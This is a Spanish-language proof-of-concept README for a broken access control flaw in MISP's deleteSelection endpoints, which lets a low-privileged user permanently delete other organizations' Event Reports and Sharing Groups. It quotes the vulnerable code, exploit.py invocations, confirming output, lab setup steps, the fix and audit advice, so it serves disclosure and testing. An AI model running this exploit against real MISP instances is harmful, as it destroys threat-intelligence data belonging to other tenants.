
PoC para CVE-2026-56423: MISP deleteSelection control de acceso roto (CWE-862, un colaborador elimina permanentemente informes de eventos/grupos compartidos de otras organizaciones, CVSS 8.8)
deleteSelection Control de Acceso RotoPrueba de concepto de una vulnerabilidad de autorización faltante en los flujos de eliminación masiva de MISP para Event Reports y Sharing Groups. Los controladores deleteSelection autorizan cada elemento seleccionado con un callback que ignora el elemento y devuelve el permiso de rol global del llamante (perm_add / perm_sharing_group) en lugar de una verificación de propiedad por objeto. Por lo tanto, un colaborador con pocos privilegios (el rol predeterminado "User") puede enviar IDs/UUIDs de informes pertenecientes a cualquier organización y eliminarlos permanentemente en toda la instancia, aunque la acción de eliminación delete por objeto correctamente protegida deniega la misma solicitud.
| CVE | CVE-2026-56423 |
| Producto | MISP (Plataforma de Intercambio de Información de Malware) núcleo |
| Afectado | MISP CE/EE ≤ 2.5.41 |
| Corregido | 2.5.42 |
| Clase | CWE-862 — Autorización Faltante (control de acceso a nivel de objeto roto) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación | Autenticado, bajo privilegio (cualquier rol con perm_add, p.ej. "User") |
| Publicado | 2026-06-22 |
| Estado | CONFIRMADO — colaborador elimina informe de otra organización en 2.5.40; denegado en 2.5.42 |
app/Controller/EventReportsController.php (tag v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
CRUDComponent::deleteSelection llama a este checkModifyCallback para cada id seleccionado y elimina el objeto cada vez que devuelve true:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
Debido a que el callback devuelve $this->userRole['perm_add'] — un booleano global que es true para el rol predeterminado "User" — nunca se verifica la propiedad del informe objetivo. Compárese con la acción delete($id) de un solo objeto, que correctamente llama a EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') y deniega informes foráneos.
SharingGroupsController::deleteSelection tiene el mismo defecto usando perm_sharing_group.
La corrección en 2.5.42 (commits ada02fa, f99b3f1) reemplaza el callback con una verificación por elemento EventReport::fetchIfAuthorized($user, $itemId, 'delete').
Consulte ANALYSIS.md para el recorrido completo.
perm_add — el rol User incorporado, otorgado a colaboradores ordinarios en instancias multi-organización.MISP.enable_themes = true. La acción deleteSelection está protegida en la ACL por AND(theming_enabled, perm_add), donde theming_enabled se asigna al ajuste MISP.enable_themes. Este ajuste está desactivado por defecto pero es una bandera de característica de interfaz de usuario normal habilitada en muchas instancias (alimenta la interfaz de usuario de lista/índice v2). Con ella desactivada, la acción devuelve HTTP 403 antes de que se ejecute el callback defectuoso.python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| Solicitud (colaborador con pocos privilegios, informe extranjero) | v2.5.40 | v2.5.42 |
|---|---|---|
delete/{id} correctamente protegido | 404 denegado | 404 denegado |
deleteSelection del mismo informe | 200 — eliminado permanentemente | 403 — "No se pudo eliminar"; informe intacto |
La misma solicitud cambia de éxito a denegación a través de la corrección, y la eliminación delete por objeto correctamente protegida se deniega en ambas — probando que el error es la falta de autorización por objeto en deleteSelection, no una cuenta mal configurada. Transcripción completa en EVIDENCE.txt.
Cualquier usuario con pocos privilegios en una instancia compartida de MISP puede eliminar permanentemente de forma irreversible Event Reports — narrativa analítica adjunta a eventos de inteligencia de amenazas — y Sharing Groups pertenecientes a otras organizaciones, en toda la instancia. Esto es un compromiso de integridad/disponibilidad entre inquilinos de una plataforma de inteligencia de amenazas en la que confían CERTs, ISACs y SOCs.
EventReport::fetchIfAuthorized($user, $itemId, 'delete') por elemento seleccionado; el mismo patrón se aplica a Sharing Groups.Audite los registros de MISP en busca de solicitudes EventReports/deleteSelection (y SharingGroups/deleteSelection) donde la organización del usuario actuante difiera de la organización propietaria del objeto eliminado.
Investigación y PoC por Caio Fabrício (@BiiTts).
MIT — consulte LICENSE.